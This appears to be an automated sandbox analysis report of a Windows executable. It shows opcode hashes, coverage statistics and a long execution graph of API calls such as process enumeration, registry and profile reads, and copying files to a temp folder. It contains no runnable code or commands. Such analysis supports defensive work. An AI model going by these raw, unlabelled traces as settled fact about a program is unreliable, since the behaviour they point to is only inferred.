                                                                                                                                                                  • Opcode ID: 3f0ff04a5dcf7e8fd5b137fcdb20dceab511bd439b95d46b3d550210e9ecb368
                                                                                                                                                                  • Instruction ID: ecac45699e256c48587d6f27f66036641a8fb520bb473c9b2adecd150689d728
                                                                                                                                                                  • Opcode Fuzzy Hash: 3f0ff04a5dcf7e8fd5b137fcdb20dceab511bd439b95d46b3d550210e9ecb368
                                                                                                                                                                  • Instruction Fuzzy Hash: 65414871E00206AFCF258F65C854ABBFBA4EF09310F1451BAF858973A1DB38AD09C759

                                                                                                                                                                  Execution Graph

                                                                                                                                                                  Execution Coverage:5.5%
                                                                                                                                                                  Dynamic/Decrypted Code Coverage:9.2%
                                                                                                                                                                  Signature Coverage:0%
                                                                                                                                                                  Total number of Nodes:2000
                                                                                                                                                                  Total number of Limit Nodes:56
                                                                                                                                                                  execution_graph 37665 4466f4 37684 446904 37665->37684 37667 446700 GetModuleHandleA 37670 446710 __set_app_type __p__fmode __p__commode 37667->37670 37669 4467a4 37671 4467ac __setusermatherr 37669->37671 37672 4467b8 37669->37672 37670->37669 37671->37672 37685 4468f0 _controlfp 37672->37685 37674 4467bd _initterm GetEnvironmentStringsW _initterm 37675 44681e GetStartupInfoW 37674->37675 37676 446810 37674->37676 37678 446866 GetModuleHandleA 37675->37678 37686 41276d 37678->37686 37682 446896 exit 37683 44689d _cexit 37682->37683 37683->37676 37684->37667 37685->37674 37687 41277d 37686->37687 37729 4044a4 LoadLibraryW 37687->37729 37689 412785 37721 412789 37689->37721 37737 414b81 37689->37737 37692 4127c8 37743 412465 memset ??2@YAPAXI 37692->37743 37694 4127ea 37755 40ac21 37694->37755 37699 412813 37773 40dd07 memset 37699->37773 37700 412827 37778 40db69 memset 37700->37778 37704 40ada2 _wcsicmp 37706 41283d 37704->37706 37705 412822 37800 4125b6 ??3@YAXPAX DeleteObject 37705->37800 37706->37705 37709 412863 CoInitialize 37706->37709 37783 41268e 37706->37783 37708 412966 37801 40b1ab free free 37708->37801 37799 4123e2 GetModuleHandleW RegisterClassW GetModuleHandleW CreateWindowExW 37709->37799 37713 41296f 37802 40b633 37713->37802 37715 412873 ShowWindow UpdateWindow GetModuleHandleW LoadAcceleratorsW GetMessageW 37720 412957 CoUninitialize 37715->37720 37726 4128ca 37715->37726 37720->37705 37721->37682 37721->37683 37722 4128d0 TranslateAcceleratorW 37723 412941 GetMessageW 37722->37723 37722->37726 37723->37720 37723->37722 37724 412909 IsDialogMessageW 37724->37723 37724->37726 37725 4128fd IsDialogMessageW 37725->37723 37725->37724 37726->37722 37726->37724 37726->37725 37727 41292b TranslateMessage DispatchMessageW 37726->37727 37728 41291f IsDialogMessageW 37726->37728 37727->37723 37728->37723 37728->37727 37730 4044f7 37729->37730 37731 4044cf GetProcAddress 37729->37731 37735 404507 MessageBoxW 37730->37735 37736 40451e 37730->37736 37732 4044e8 FreeLibrary 37731->37732 37733 4044df 37731->37733 37732->37730 37734 4044f3 37732->37734 37733->37732 37734->37730 37735->37689 37736->37689 37738 414b8a 37737->37738 37739 412794 SetErrorMode GetModuleHandleW EnumResourceTypesW 37737->37739 37806 40a804 memset 37738->37806 37739->37692 37742 414b9e GetProcAddress 37742->37739 37744 4124e0 37743->37744 37745 412505 ??2@YAPAXI 37744->37745 37746 41251c 37745->37746 37748 412521 37745->37748 37828 40e820 memset ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI 37746->37828 37817 444722 37748->37817 37754 41259b wcscpy 37754->37694 37833 40b1ab free free 37755->37833 37759 40a9ce malloc memcpy free free 37766 40ac5c 37759->37766 37760 40ad4b 37768 40ad76 37760->37768 37857 40a9ce 37760->37857 37762 40ace7 free 37762->37766 37766->37759 37766->37760 37766->37762 37766->37768 37837 40a8d0 37766->37837 37849 4099f4 37766->37849 37767 40a8d0 7 API calls 37767->37768 37834 40aa04 37768->37834 37769 40ada2 37770 40adc9 37769->37770 37771 40adaa 37769->37771 37770->37699 37770->37700 37771->37770 37772 40adb3 _wcsicmp 37771->37772 37772->37770 37772->37771 37862 40dce0 37773->37862 37775 40dd3a GetModuleHandleW 37867 40dba7 37775->37867 37779 40dce0 3 API calls 37778->37779 37780 40db99 37779->37780 37939 40dae1 37780->37939 37953 402f3a 37783->37953 37785 412766 37785->37705 37785->37709 37786 4126d3 _wcsicmp 37787 4126a8 37786->37787 37787->37785 37787->37786 37789 41270a 37787->37789 37987 4125f8 7 API calls 37787->37987 37789->37785 37956 411ac5 37789->37956 37799->37715 37800->37708 37801->37713 37803 40b640 37802->37803 37804 40b639 free 37802->37804 37805 40b1ab free free 37803->37805 37804->37803 37805->37721 37807 40a83b GetSystemDirectoryW 37806->37807 37808 40a84c wcscpy 37806->37808 37807->37808 37813 409719 wcslen 37808->37813 37811 40a881 LoadLibraryW 37812 40a886 37811->37812 37812->37739 37812->37742 37814 409724 37813->37814 37815 409739 wcscat LoadLibraryW 37813->37815 37814->37815 37816 40972c wcscat 37814->37816 37815->37811 37815->37812 37816->37815 37818 444732 37817->37818 37819 444728 DeleteObject 37817->37819 37829 409cc3 37818->37829 37819->37818 37821 412551 37822 4010f9 37821->37822 37823 401130 37822->37823 37824 401134 GetModuleHandleW LoadIconW 37823->37824 37825 401107 wcsncat 37823->37825 37826 40a7be 37824->37826 37825->37823 37827 40a7d2 37826->37827 37827->37754 37827->37827 37828->37748 37832 409bfd memset wcscpy 37829->37832 37831 409cdb CreateFontIndirectW 37831->37821 37832->37831 37833->37766 37835 40aa14 37834->37835 37836 40aa0a free 37834->37836 37835->37769 37836->37835 37838 40a8eb 37837->37838 37839 40a8df wcslen 37837->37839 37840 40a906 free 37838->37840 37841 40a90f 37838->37841 37839->37838 37842 40a919 37840->37842 37843 4099f4 3 API calls 37841->37843 37844 40a932 37842->37844 37845 40a929 free 37842->37845 37843->37842 37847 4099f4 3 API calls 37844->37847 37846 40a93e memcpy 37845->37846 37846->37766 37848 40a93d 37847->37848 37848->37846 37850 409a41 37849->37850 37851 4099fb malloc 37849->37851 37850->37766 37853 409a37 37851->37853 37854 409a1c 37851->37854 37853->37766 37855 409a30 free 37854->37855 37856 409a20 memcpy 37854->37856 37855->37853 37856->37855 37858 40a9e7 37857->37858 37859 40a9dc free 37857->37859 37860 4099f4 3 API calls 37858->37860 37861 40a9f2 37859->37861 37860->37861 37861->37767 37886 409bca GetModuleFileNameW 37862->37886 37864 40dce6 wcsrchr 37865 40dcf5 37864->37865 37866 40dcf9 wcscat 37864->37866 37865->37866 37866->37775 37887 44db70 37867->37887 37871 40dbfd 37890 4447d9 37871->37890 37874 40dc34 wcscpy wcscpy 37916 40d6f5 37874->37916 37875 40dc1f wcscpy 37875->37874 37878 40d6f5 3 API calls 37879 40dc73 37878->37879 37880 40d6f5 3 API calls 37879->37880 37881 40dc89 37880->37881 37882 40d6f5 3 API calls 37881->37882 37883 40dc9c EnumResourceNamesW EnumResourceNamesW wcscpy 37882->37883 37922 40da80 37883->37922 37886->37864 37888 40dbb4 memset memset 37887->37888 37889 409bca GetModuleFileNameW 37888->37889 37889->37871 37891 4447f4 37890->37891 37892 40dc1b 37891->37892 37893 444807 ??2@YAPAXI 37891->37893 37892->37874 37892->37875 37894 44481f 37893->37894 37895 444873 _snwprintf 37894->37895 37896 4448ab wcscpy 37894->37896 37929 44474a 8 API calls 37895->37929 37898 4448bb 37896->37898 37930 44474a 8 API calls 37898->37930 37899 4448a7 37899->37896 37899->37898 37901 4448cd 37931 44474a 8 API calls 37901->37931 37903 4448e2 37932 44474a 8 API calls 37903->37932 37905 4448f7 37933 44474a 8 API calls 37905->37933 37907 44490c 37934 44474a 8 API calls 37907->37934 37909 444921 37935 44474a 8 API calls 37909->37935 37911 444936 37936 44474a 8 API calls 37911->37936 37913 44494b 37937 44474a 8 API calls 37913->37937 37915 444960 ??3@YAXPAX 37915->37892 37917 44db70 37916->37917 37918 40d702 memset GetPrivateProfileStringW 37917->37918 37919 40d752 37918->37919 37920 40d75c WritePrivateProfileStringW 37918->37920 37919->37920 37921 40d758 37919->37921 37920->37921 37921->37878 37923 44db70 37922->37923 37924 40da8d memset 37923->37924 37925 40daac LoadStringW 37924->37925 37926 40dac6 37925->37926 37926->37925 37927 40dade 37926->37927 37938 40d76e memset GetPrivateProfileStringW WritePrivateProfileStringW memset _itow 37926->37938 37927->37705 37929->37899 37930->37901 37931->37903 37932->37905 37933->37907 37934->37909 37935->37911 37936->37913 37937->37915 37938->37926 37949 409b98 GetFileAttributesW 37939->37949 37941 40daea 37942 40daef wcscpy wcscpy GetPrivateProfileIntW 37941->37942 37948 40db63 37941->37948 37950 40d65d GetPrivateProfileStringW 37942->37950 37944 40db3e 37951 40d65d GetPrivateProfileStringW 37944->37951 37946 40db4f 37952 40d65d GetPrivateProfileStringW 37946->37952 37948->37704 37949->37941 37950->37944 37951->37946 37952->37948 37988 40eaff 37953->37988 37957 411ae2 memset 37956->37957 37958 411b8f 37956->37958 38028 409bca GetModuleFileNameW 37957->38028 37970 411a8b 37958->37970 37960 411b0a wcsrchr 37961 411b22 wcscat 37960->37961 37962 411b1f 37960->37962 38029 414770 wcscpy wcscpy wcscpy CreateFileW CloseHandle 37961->38029 37962->37961 37964 411b67 38030 402afb 37964->38030 37968 411b7f 38086 40ea13 SendMessageW memset SendMessageW 37968->38086 37971 402afb 27 API calls 37970->37971 37972 411ac0 37971->37972 37973 4110dc 37972->37973 37974 41113e 37973->37974 37979 4110f0 37973->37979 38111 40969c LoadCursorW SetCursor 37974->38111 37976 411143 38112 4032b4 37976->38112 38130 444a54 37976->38130 37977 4110f7 _wcsicmp 37977->37979 37978 411157 37980 40ada2 _wcsicmp 37978->37980 37979->37974 37979->37977 38133 410c46 10 API calls 37979->38133 37983 411167 37980->37983 37981 4111af 37983->37981 37984 4111a6 qsort 37983->37984 37984->37981 37987->37787 37989 40eb10 37988->37989 38001 40e8e0 37989->38001 37992 40eb6c memcpy memcpy 37993 40ebb7 37992->37993 37993->37992 37994 40ebf2 ??2@YAPAXI ??2@YAPAXI 37993->37994 37997 40d134 16 API calls 37993->37997 37995 40ec2e ??2@YAPAXI 37994->37995 37996 40ec65 37994->37996 37995->37996 38011 40ea7f 37996->38011 37997->37993 38000 402f49 38000->37787 38002 40e8f2 38001->38002 38003 40e8eb ??3@YAXPAX 38001->38003 38004 40e900 38002->38004 38005 40e8f9 ??3@YAXPAX 38002->38005 38003->38002 38006 40e911 38004->38006 38007 40e90a ??3@YAXPAX 38004->38007 38005->38004 38008 40e931 ??2@YAPAXI ??2@YAPAXI 38006->38008 38009 40e921 ??3@YAXPAX 38006->38009 38010 40e92a ??3@YAXPAX 38006->38010 38007->38006 38008->37992 38009->38010 38010->38008 38012 40aa04 free 38011->38012 38013 40ea88 38012->38013 38014 40aa04 free 38013->38014 38015 40ea90 38014->38015 38016 40aa04 free 38015->38016 38017 40ea98 38016->38017 38018 40aa04 free 38017->38018 38019 40eaa0 38018->38019 38020 40a9ce 4 API calls 38019->38020 38021 40eab3 38020->38021 38022 40a9ce 4 API calls 38021->38022 38023 40eabd 38022->38023 38024 40a9ce 4 API calls 38023->38024 38025 40eac7 38024->38025 38026 40a9ce 4 API calls 38025->38026 38027 40ead1 38026->38027 38027->38000 38028->37960 38029->37964 38087 40b2cc 38030->38087 38032 402b0a 38033 40b2cc 27 API calls 38032->38033 38034 402b23 38033->38034 38035 40b2cc 27 API calls 38034->38035 38036 402b3a 38035->38036 38037 40b2cc 27 API calls 38036->38037 38038 402b54 38037->38038 38039 40b2cc 27 API calls 38038->38039 38040 402b6b 38039->38040 38041 40b2cc 27 API calls 38040->38041 38042 402b82 38041->38042 38043 40b2cc 27 API calls 38042->38043 38044 402b99 38043->38044 38045 40b2cc 27 API calls 38044->38045 38046 402bb0 38045->38046 38047 40b2cc 27 API calls 38046->38047 38048 402bc7 38047->38048 38049 40b2cc 27 API calls 38048->38049 38050 402bde 38049->38050 38051 40b2cc 27 API calls 38050->38051 38052 402bf5 38051->38052 38053 40b2cc 27 API calls 38052->38053 38054 402c0c 38053->38054 38055 40b2cc 27 API calls 38054->38055 38056 402c23 38055->38056 38057 40b2cc 27 API calls 38056->38057 38058 402c3a 38057->38058 38059 40b2cc 27 API calls 38058->38059 38060 402c51 38059->38060 38061 40b2cc 27 API calls 38060->38061 38062 402c68 38061->38062 38063 40b2cc 27 API calls 38062->38063 38064 402c7f 38063->38064 38065 40b2cc 27 API calls 38064->38065 38066 402c99 38065->38066 38067 40b2cc 27 API calls 38066->38067 38068 402cb3 38067->38068 38069 40b2cc 27 API calls 38068->38069 38070 402cd5 38069->38070 38071 40b2cc 27 API calls 38070->38071 38072 402cf0 38071->38072 38073 40b2cc 27 API calls 38072->38073 38074 402d0b 38073->38074 38075 40b2cc 27 API calls 38074->38075 38076 402d26 38075->38076 38077 40b2cc 27 API calls 38076->38077 38078 402d3e 38077->38078 38079 40b2cc 27 API calls 38078->38079 38080 402d59 38079->38080 38081 40b2cc 27 API calls 38080->38081 38082 402d78 38081->38082 38083 40b2cc 27 API calls 38082->38083 38084 402d93 38083->38084 38085 4018db GetWindowPlacement memset GetSystemMetrics GetSystemMetrics SetWindowPlacement 38084->38085 38085->37968 38086->37958 38090 40b58d 38087->38090 38089 40b2d1 38089->38032 38091 40b5a4 GetModuleHandleW FindResourceW 38090->38091 38092 40b62e 38090->38092 38093 40b5c2 LoadResource 38091->38093 38095 40b5e7 38091->38095 38092->38089 38094 40b5d0 SizeofResource LockResource 38093->38094 38093->38095 38094->38095 38095->38092 38103 40afcf 38095->38103 38097 40b608 memcpy 38106 40b4d3 memcpy 38097->38106 38099 40b61e 38107 40b3c1 18 API calls 38099->38107 38101 40b626 38108 40b04b 38101->38108 38104 40b04b ??3@YAXPAX 38103->38104 38105 40afd7 ??2@YAPAXI 38104->38105 38105->38097 38106->38099 38107->38101 38109 40b051 ??3@YAXPAX 38108->38109 38110 40b05f 38108->38110 38109->38110 38110->38092 38111->37976 38113 4032c4 38112->38113 38114 40b633 free 38113->38114 38115 403316 38114->38115 38134 44553b 38115->38134 38119 403480 38332 40368c 15 API calls 38119->38332 38121 403489 38122 40b633 free 38121->38122 38123 403495 38122->38123 38123->37978 38124 4033a9 memset memcpy 38125 4033ec wcscmp 38124->38125 38126 40333c 38124->38126 38125->38126 38126->38119 38126->38124 38126->38125 38330 4028e7 11 API calls 38126->38330 38331 40f508 6 API calls 38126->38331 38128 403421 _wcsicmp 38128->38126 38131 444a64 FreeLibrary 38130->38131 38132 444a83 38130->38132 38131->38132 38132->37978 38133->37979 38135 445548 38134->38135 38136 445599 38135->38136 38333 40c768 38135->38333 38137 4455a8 memset 38136->38137 38144 4457f2 38136->38144 38417 403988 38137->38417 38148 445854 38144->38148 38520 403e2d memset memset memset memset memset 38144->38520 38145 445672 38428 403fbe memset memset memset memset memset 38145->38428 38146 4458bb memset memset 38151 414c2e 17 API calls 38146->38151 38196 4458aa 38148->38196 38543 403c9c memset memset memset memset memset 38148->38543 38149 44595e memset memset 38155 414c2e 17 API calls 38149->38155 38150 4455e5 38150->38145 38158 44560f 38150->38158 38156 4458f9 38151->38156 38152 44557a 38193 44558c 38152->38193 38397 4136c0 38152->38397 38154 445a00 memset memset 38165 414c2e 17 API calls 38154->38165 38166 44599c 38155->38166 38167 40b2cc 27 API calls 38156->38167 38170 4087b3 338 API calls 38158->38170 38160 445849 38611 40b1ab free free 38160->38611 38161 445bca 38168 445c8b memset memset 38161->38168 38235 445cf0 38161->38235 38162 445b38 memset memset memset 38173 445bd4 38162->38173 38174 445b98 38162->38174 38175 445a3e 38165->38175 38177 40b2cc 27 API calls 38166->38177 38169 445909 38167->38169 38181 414c2e 17 API calls 38168->38181 38178 409d1f 6 API calls 38169->38178 38179 445621 38170->38179 38172 44589f 38612 40b1ab free free 38172->38612 38566 414c2e 38173->38566 38174->38173 38183 445ba2 38174->38183 38186 40b2cc 27 API calls 38175->38186 38180 4459ac 38177->38180 38189 445919 38178->38189 38597 4454bf 20 API calls 38179->38597 38191 409d1f 6 API calls 38180->38191 38192 445cc9 38181->38192 38704 4099c6 wcslen 38183->38704 38184 4456b2 38599 40b1ab free free 38184->38599 38197 445a4f 38186->38197 38188 403335 38329 4452e5 45 API calls 38188->38329 38613 409b98 GetFileAttributesW 38189->38613 38190 445823 38190->38160 38203 4087b3 338 API calls 38190->38203 38205 4459bc 38191->38205 38206 409d1f 6 API calls 38192->38206 38401 444b06 38193->38401 38194 445879 38194->38172 38216 4087b3 338 API calls 38194->38216 38196->38146 38221 44594a 38196->38221 38209 409d1f 6 API calls 38197->38209 38200 445d3d 38220 40b2cc 27 API calls 38200->38220 38201 445d88 memset memset memset 38204 414c2e 17 API calls 38201->38204 38203->38190 38213 445dde 38204->38213 38680 409b98 GetFileAttributesW 38205->38680 38215 445ce1 38206->38215 38207 445bb3 38707 445403 memset 38207->38707 38208 445680 38208->38184 38451 4087b3 memset 38208->38451 38218 445a63 38209->38218 38210 40b2cc 27 API calls 38219 445bf3 38210->38219 38211 445928 38211->38221 38614 40b6ef 38211->38614 38222 40b2cc 27 API calls 38213->38222 38724 409b98 GetFileAttributesW 38215->38724 38216->38194 38227 40b2cc 27 API calls 38218->38227 38582 409d1f wcslen wcslen 38219->38582 38230 445d54 _wcsicmp 38220->38230 38221->38149 38234 4459ed 38221->38234 38233 445def 38222->38233 38223 4459cb 38223->38234 38244 40b6ef 253 API calls 38223->38244 38237 445a94 38227->38237 38241 445d71 38230->38241 38307 445d67 38230->38307 38232 445665 38598 40b1ab free free 38232->38598 38242 409d1f 6 API calls 38233->38242 38234->38154 38277 445b22 38234->38277 38235->38188 38235->38200 38235->38201 38236 445389 259 API calls 38236->38161 38681 40ae18 38237->38681 38238 44566d 38238->38144 38502 413d4c 38238->38502 38725 445093 23 API calls 38241->38725 38250 445e03 38242->38250 38244->38234 38246 4456d8 38251 40b2cc 27 API calls 38246->38251 38249 44563c 38249->38232 38254 4087b3 338 API calls 38249->38254 38726 409b98 GetFileAttributesW 38250->38726 38257 4456e2 38251->38257 38252 40b2cc 27 API calls 38258 445c23 38252->38258 38253 445d83 38253->38188 38254->38249 38256 40b6ef 253 API calls 38256->38188 38600 413fa6 _wcsicmp _wcsicmp 38257->38600 38262 409d1f 6 API calls 38258->38262 38260 445e12 38267 445e6b 38260->38267 38273 40b2cc 27 API calls 38260->38273 38265 445c37 38262->38265 38263 445aa1 38266 445b17 38263->38266 38281 445ab2 memset 38263->38281 38295 409d1f 6 API calls 38263->38295 38303 445389 259 API calls 38263->38303 38688 40add4 38263->38688 38693 40ae51 38263->38693 38264 4456eb 38269 4456fd memset memset memset memset 38264->38269 38270 4457ea 38264->38270 38271 445389 259 API calls 38265->38271 38701 40aebe 38266->38701 38728 445093 23 API calls 38267->38728 38601 409c70 wcscpy wcsrchr 38269->38601 38604 413d29 38270->38604 38276 445c47 38271->38276 38278 445e33 38273->38278 38283 40b2cc 27 API calls 38276->38283 38277->38161 38277->38162 38284 409d1f 6 API calls 38278->38284 38280 445e7e 38285 445f67 38280->38285 38286 40b2cc 27 API calls 38281->38286 38288 445c53 38283->38288 38289 445e47 38284->38289 38290 40b2cc 27 API calls 38285->38290 38286->38263 38287 409c70 2 API calls 38291 44577e 38287->38291 38292 409d1f 6 API calls 38288->38292 38727 409b98 GetFileAttributesW 38289->38727 38294 445f73 38290->38294 38296 409c70 2 API calls 38291->38296 38297 445c67 38292->38297 38299 409d1f 6 API calls 38294->38299 38295->38263 38300 44578d 38296->38300 38301 445389 259 API calls 38297->38301 38298 445e56 38298->38267 38304 445e83 memset 38298->38304 38302 445f87 38299->38302 38300->38270 38306 40b2cc 27 API calls 38300->38306 38301->38161 38731 409b98 GetFileAttributesW 38302->38731 38303->38263 38308 40b2cc 27 API calls 38304->38308 38310 4457a8 38306->38310 38307->38188 38307->38256 38309 445eab 38308->38309 38311 409d1f 6 API calls 38309->38311 38312 409d1f 6 API calls 38310->38312 38313 445ebf 38311->38313 38314 4457b8 38312->38314 38315 40ae18 9 API calls 38313->38315 38603 409b98 GetFileAttributesW 38314->38603 38325 445ef5 38315->38325 38317 4457c7 38317->38270 38319 4087b3 338 API calls 38317->38319 38318 40ae51 9 API calls 38318->38325 38319->38270 38320 445f5c 38322 40aebe FindClose 38320->38322 38321 40add4 2 API calls 38321->38325 38322->38285 38323 40b2cc 27 API calls 38323->38325 38324 409d1f 6 API calls 38324->38325 38325->38318 38325->38320 38325->38321 38325->38323 38325->38324 38327 445f3a 38325->38327 38729 409b98 GetFileAttributesW 38325->38729 38730 445093 23 API calls 38327->38730 38329->38126 38330->38128 38331->38126 38332->38121 38334 40c775 38333->38334 38732 40b1ab free free 38334->38732 38336 40c788 38733 40b1ab free free 38336->38733 38338 40c790 38734 40b1ab free free 38338->38734 38340 40c798 38341 40aa04 free 38340->38341 38342 40c7a0 38341->38342 38735 40c274 memset 38342->38735 38347 40a8ab 9 API calls 38348 40c7c3 38347->38348 38349 40a8ab 9 API calls 38348->38349 38350 40c7d0 38349->38350 38764 40c3c3 38350->38764 38354 40c877 38363 40bdb0 38354->38363 38355 40c86c 38792 4053fe 39 API calls 38355->38792 38358 40c813 _wcslwr 38790 40c634 50 API calls 38358->38790 38360 40c829 wcslen 38361 40c7e5 38360->38361 38361->38354 38361->38355 38789 40a706 wcslen memcpy 38361->38789 38791 40c634 50 API calls 38361->38791 38953 404363 38363->38953 38365 40bf5d 38973 40440c 38365->38973 38369 40b2cc 27 API calls 38370 40be02 wcslen 38369->38370 38370->38365 38377 40be1e 38370->38377 38371 40be26 wcsncmp 38371->38377 38374 40be7d memset 38375 40bea7 memcpy 38374->38375 38374->38377 38376 40bf11 wcschr 38375->38376 38375->38377 38376->38377 38377->38365 38377->38371 38377->38374 38377->38375 38377->38376 38378 40b2cc 27 API calls 38377->38378 38380 40bf43 LocalFree 38377->38380 38976 40bd5d 28 API calls 38377->38976 38977 404423 38377->38977 38379 40bef6 _wcsnicmp 38378->38379 38379->38376 38379->38377 38380->38377 38381 4135f7 38992 4135e0 38381->38992 38384 40b2cc 27 API calls 38385 41360d 38384->38385 38386 40a804 8 API calls 38385->38386 38387 413613 38386->38387 38388 41363e 38387->38388 38389 40b273 27 API calls 38387->38389 38390 4135e0 FreeLibrary 38388->38390 38391 413625 GetProcAddress 38389->38391 38392 413643 38390->38392 38391->38388 38393 413648 38391->38393 38392->38152 38394 413658 38393->38394 38395 4135e0 FreeLibrary 38393->38395 38394->38152 38396 413666 38395->38396 38396->38152 38399 4136e2 38397->38399 38398 413827 38596 41366b FreeLibrary 38398->38596 38399->38398 38400 4137ac CoTaskMemFree 38399->38400 38400->38399 38995 4449b9 38401->38995 38404 444c1f 38404->38136 38405 4449b9 42 API calls 38407 444b4b 38405->38407 38406 444c15 38409 4449b9 42 API calls 38406->38409 38407->38406 39016 444972 GetVersionExW 38407->39016 38409->38404 38410 444b99 memcmp 38415 444b8c 38410->38415 38411 444c0b 39020 444a85 42 API calls 38411->39020 38415->38410 38415->38411 39017 444aa5 42 API calls 38415->39017 39018 40a7a0 GetVersionExW 38415->39018 39019 444a85 42 API calls 38415->39019 38418 40399d 38417->38418 39021 403a16 38418->39021 38420 403a09 39035 40b1ab free free 38420->39035 38422 4039a3 38422->38420 38426 4039f4 38422->38426 39032 40a02c CreateFileW 38422->39032 38423 403a12 wcsrchr 38423->38150 38426->38420 38427 4099c6 2 API calls 38426->38427 38427->38420 38429 414c2e 17 API calls 38428->38429 38430 404048 38429->38430 38431 414c2e 17 API calls 38430->38431 38432 404056 38431->38432 38433 409d1f 6 API calls 38432->38433 38434 404073 38433->38434 38435 409d1f 6 API calls 38434->38435 38436 40408e 38435->38436 38437 409d1f 6 API calls 38436->38437 38438 4040a6 38437->38438 38439 403af5 20 API calls 38438->38439 38440 4040ba 38439->38440 38441 403af5 20 API calls 38440->38441 38442 4040cb 38441->38442 39062 40414f memset 38442->39062 38444 404140 39076 40b1ab free free 38444->39076 38446 4040ec memset 38449 4040e0 38446->38449 38447 404148 38447->38208 38448 4099c6 2 API calls 38448->38449 38449->38444 38449->38446 38449->38448 38450 40a8ab 9 API calls 38449->38450 38450->38449 39089 40a6e6 WideCharToMultiByte 38451->39089 38453 4087ed 39090 4095d9 memset 38453->39090 38456 408953 38456->38208 38457 408809 memset memset memset memset memset 38458 40b2cc 27 API calls 38457->38458 38459 4088a1 38458->38459 38460 409d1f 6 API calls 38459->38460 38461 4088b1 38460->38461 38462 40b2cc 27 API calls 38461->38462 38463 4088c0 38462->38463 38464 409d1f 6 API calls 38463->38464 38465 4088d0 38464->38465 38466 40b2cc 27 API calls 38465->38466 38467 4088df 38466->38467 38468 409d1f 6 API calls 38467->38468 38469 4088ef 38468->38469 38470 40b2cc 27 API calls 38469->38470 38471 4088fe 38470->38471 38472 409d1f 6 API calls 38471->38472 38473 40890e 38472->38473 38474 40b2cc 27 API calls 38473->38474 38475 40891d 38474->38475 38476 409d1f 6 API calls 38475->38476 38477 40892d 38476->38477 39107 409b98 GetFileAttributesW 38477->39107 38479 40893e 38480 408943 38479->38480 38481 408958 38479->38481 38503 40b633 free 38502->38503 38504 413d65 CreateToolhelp32Snapshot memset Process32FirstW 38503->38504 38505 413f00 Process32NextW 38504->38505 38506 413da5 OpenProcess 38505->38506 38507 413f17 CloseHandle 38505->38507 38508 413eb0 38506->38508 38509 413df3 memset 38506->38509 38507->38246 38508->38505 38511 413ebf free 38508->38511 38512 4099f4 3 API calls 38508->38512 39139 413f27 38509->39139 38511->38508 38512->38508 38513 413e37 GetModuleHandleW 38515 413e46 GetProcAddress 38513->38515 38517 413e1f 38513->38517 38515->38517 38516 413e6a QueryFullProcessImageNameW 38516->38517 38517->38513 38517->38516 39144 413959 38517->39144 39160 413ca4 38517->39160 38519 413ea2 CloseHandle 38519->38508 38521 414c2e 17 API calls 38520->38521 38522 403eb7 38521->38522 38523 414c2e 17 API calls 38522->38523 38524 403ec5 38523->38524 38525 409d1f 6 API calls 38524->38525 38526 403ee2 38525->38526 38527 409d1f 6 API calls 38526->38527 38528 403efd 38527->38528 38529 409d1f 6 API calls 38528->38529 38530 403f15 38529->38530 38531 403af5 20 API calls 38530->38531 38532 403f29 38531->38532 38533 403af5 20 API calls 38532->38533 38534 403f3a 38533->38534 38535 40414f 33 API calls 38534->38535 38541 403f4f 38535->38541 38536 403faf 39174 40b1ab free free 38536->39174 38537 403f5b memset 38537->38541 38539 403fb7 38539->38190 38540 4099c6 2 API calls 38540->38541 38541->38536 38541->38537 38541->38540 38542 40a8ab 9 API calls 38541->38542 38542->38541 38544 414c2e 17 API calls 38543->38544 38545 403d26 38544->38545 38546 414c2e 17 API calls 38545->38546 38547 403d34 38546->38547 38548 409d1f 6 API calls 38547->38548 38549 403d51 38548->38549 38550 409d1f 6 API calls 38549->38550 38551 403d6c 38550->38551 38552 409d1f 6 API calls 38551->38552 38553 403d84 38552->38553 38554 403af5 20 API calls 38553->38554 38555 403d98 38554->38555 38556 403af5 20 API calls 38555->38556 38557 403da9 38556->38557 38558 40414f 33 API calls 38557->38558 38563 403dbe 38558->38563 38559 403e1e 39175 40b1ab free free 38559->39175 38561 403dca memset 38561->38563 38562 403e26 38562->38194 38563->38559 38563->38561 38564 4099c6 2 API calls 38563->38564 38565 40a8ab 9 API calls 38563->38565 38564->38563 38565->38563 38567 414b81 9 API calls 38566->38567 38569 414c40 38567->38569 38568 414c73 memset 38570 414c94 38568->38570 38569->38568 39176 409cea 38569->39176 39179 414592 RegOpenKeyExW 38570->39179 38574 414c64 SHGetSpecialFolderPathW 38575 414d0b 38574->38575 38575->38210 38576 414cc1 38577 414cf4 wcscpy 38576->38577 39180 414bb0 wcscpy 38576->39180 38577->38575 38579 414cd2 39181 4145ac RegQueryValueExW 38579->39181 38581 414ce9 RegCloseKey 38581->38577 38583 409d62 38582->38583 38584 409d43 wcscpy 38582->38584 38587 445389 38583->38587 38585 409719 2 API calls 38584->38585 38586 409d51 wcscat 38585->38586 38586->38583 38588 40ae18 9 API calls 38587->38588 38594 4453c4 38588->38594 38589 40ae51 9 API calls 38589->38594 38590 4453f3 38592 40aebe FindClose 38590->38592 38591 40add4 2 API calls 38591->38594 38593 4453fe 38592->38593 38593->38252 38594->38589 38594->38590 38594->38591 38595 445403 254 API calls 38594->38595 38595->38594 38596->38193 38597->38249 38598->38238 38599->38238 38600->38264 38602 409c89 38601->38602 38602->38287 38603->38317 38605 413d39 38604->38605 38606 413d2f FreeLibrary 38604->38606 38607 40b633 free 38605->38607 38606->38605 38608 413d42 38607->38608 38609 40b633 free 38608->38609 38610 413d4a 38609->38610 38610->38144 38611->38148 38612->38196 38613->38211 38615 44db70 38614->38615 38616 40b6fc memset 38615->38616 38617 409c70 2 API calls 38616->38617 38618 40b732 wcsrchr 38617->38618 38619 40b743 38618->38619 38620 40b746 memset 38618->38620 38619->38620 38621 40b2cc 27 API calls 38620->38621 38622 40b76f 38621->38622 38623 409d1f 6 API calls 38622->38623 38624 40b783 38623->38624 39182 409b98 GetFileAttributesW 38624->39182 38626 40b792 38627 40b7c2 38626->38627 38628 409c70 2 API calls 38626->38628 39183 40bb98 38627->39183 38630 40b7a5 38628->38630 38632 40b2cc 27 API calls 38630->38632 38635 40b7b2 38632->38635 38633 40b837 CloseHandle 38637 40b83e memset 38633->38637 38634 40b817 39266 409a45 GetTempPathW 38634->39266 38638 409d1f 6 API calls 38635->38638 39216 40a6e6 WideCharToMultiByte 38637->39216 38638->38627 38639 40b827 CopyFileW 38639->38637 38641 40b866 39217 444432 38641->39217 38644 40bad5 38646 40baeb 38644->38646 38647 40bade DeleteFileW 38644->38647 38645 40b273 27 API calls 38648 40b89a 38645->38648 38649 40b04b ??3@YAXPAX 38646->38649 38647->38646 